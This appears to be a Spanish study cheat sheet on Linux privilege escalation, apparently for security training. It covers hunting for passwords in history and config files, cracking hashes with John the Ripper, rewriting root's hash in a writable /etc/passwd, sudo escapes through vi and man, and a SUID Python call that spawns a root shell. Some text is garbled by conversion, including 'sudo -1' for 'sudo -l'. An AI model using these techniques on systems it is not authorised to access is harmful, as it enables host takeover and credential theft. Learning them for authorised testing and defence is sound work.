

# Escalada de Privilegios en Linux

### Directorios y comandos clave

- /etc/passwd
- /etc/shadow
- hostname
- whoami

### 🔑 Revisar contraseñas y accesos

Probar si la contraseña del usuario es la misma que la de root.

Revisar variables de entorno, a veces contienen contraseñas de otras aplicaciones:

env

- Consultar el historial de comandos:
  - o ~/.bash\_history
  - o ~/.zsh\_history
  - history

### Directorios sensibles para buscar info

- cat /etc → Archivos de configuración
- /opt → Programas de usuario
- /var → Posibles archivos si hay un servidor web
- /home → Archivos de los usuarios del sistema

## Comandos útiles para buscar información

```
grep -r "password"
```

Busca recursivamente en un directorio

```
find . -name "config." -o -name "*.config" -o -name
"*.conf"
```

Encuentra archivos sensibles

```
cat nombre_file | grep "password"
```

### **O**

### Permisos de archivos y directorios

Permisos se representan así:

```
-rwxrwxrwx
# Propietario | Grupo | Otros → [read-write-execute]
```

- read (r) → Permite ver el contenido
- write  $(w) \rightarrow Permite editar$
- execute  $(x) \rightarrow E$ jecutar archivos/programas

#### 📌 Ejemplo:

ls -la /etc/passwd

#### Resultado:

```
-rw-rw-rw- 1 root root ...
```

El archivo tiene permisos de escritura para **otros**, lo cual es peligroso.

### Manipulación con openssl y john

#### **₩** Cambiar hash en /etc/passwd:

nano /etc/passwd openssl passwd [tu\_contraseña]

- Añadir el hash generado a la fila de root.
- Properties of the properties o

john hash.txt -w=lst/rockyou -pot=output.txt

Usamos JohnTheRipper para sacar la contraseña del hash.

## 📦 Backups en /var

Revisar / var/backups

Puede contener archivos sensibles sin protección adecuada.

### Permisos de grupo y usuarios

- Usuarios → Pertenecen a uno o más grupos
- Archivos → Asignados a un grupo
- Permisos para grupos:
  - r/w/x → Acceso según pertenencia al grupo
- Grupo especial: sudo
  - Miembros pueden ejecutar comandos como root sin contraseña

#### Comandos útiles:

```
cat /etc/group
id
id usuario
```

### Archivo /etc/sudoers y privilegios sudo

Consultar privilegios:

```
sudo -1
```

📌 Ejemplo de salida:

```
(ALL) NOPASSWD: /usr/bin/vi
```

:sh

- Abre una shell con permisos de root was also de root w
- Otro ejemplo:

(ALL) NOPASSWD: /usr/bin/man

```
Usar:
```

```
sudo man man
# Cuando esté paginado, insertar:
!sh
```

Shell como root

Si puedes editar un script que se ejecuta con permisos root:

```
(ALL) NOPASSWD: /opt/folder/cleaning.sh
```

Edita el script con:

```
ls -l /opt/folder/*.sh
nano /opt/folder/cleaning.sh
```

Y añade al principio:

/bin/sh

## 

#### Q ¿Qué es?

Permite que un programa se ejecute con los **privilegios del propietario**, no del usuario que lo ejecuta.

```
★ Se representa así:
```

```
-rwsr-xr-x
```

#### **Configurar:**

```
chmod u+s archivo # Habilitar
chmod u-s archivo # Deshabilitar
```

### Piemplo:

/usr/bin/passwd → Necesita SUID para modificar /etc/shadow

#### ⚠ Riesgos:

- Vulnerabilidades = Escalada de privilegios
- Archivos mal configurados = **Acceso indebido**

#### Recomendaciones:

Auditar con:

```
find / -perm /4000 2>/dev/null
```

Por ejemplo, si devuelve /usr/bin/python2.7:

```
python2.7
import os
os.system('/bin/sh')
```

Te lanza una shell con permisos root 🚨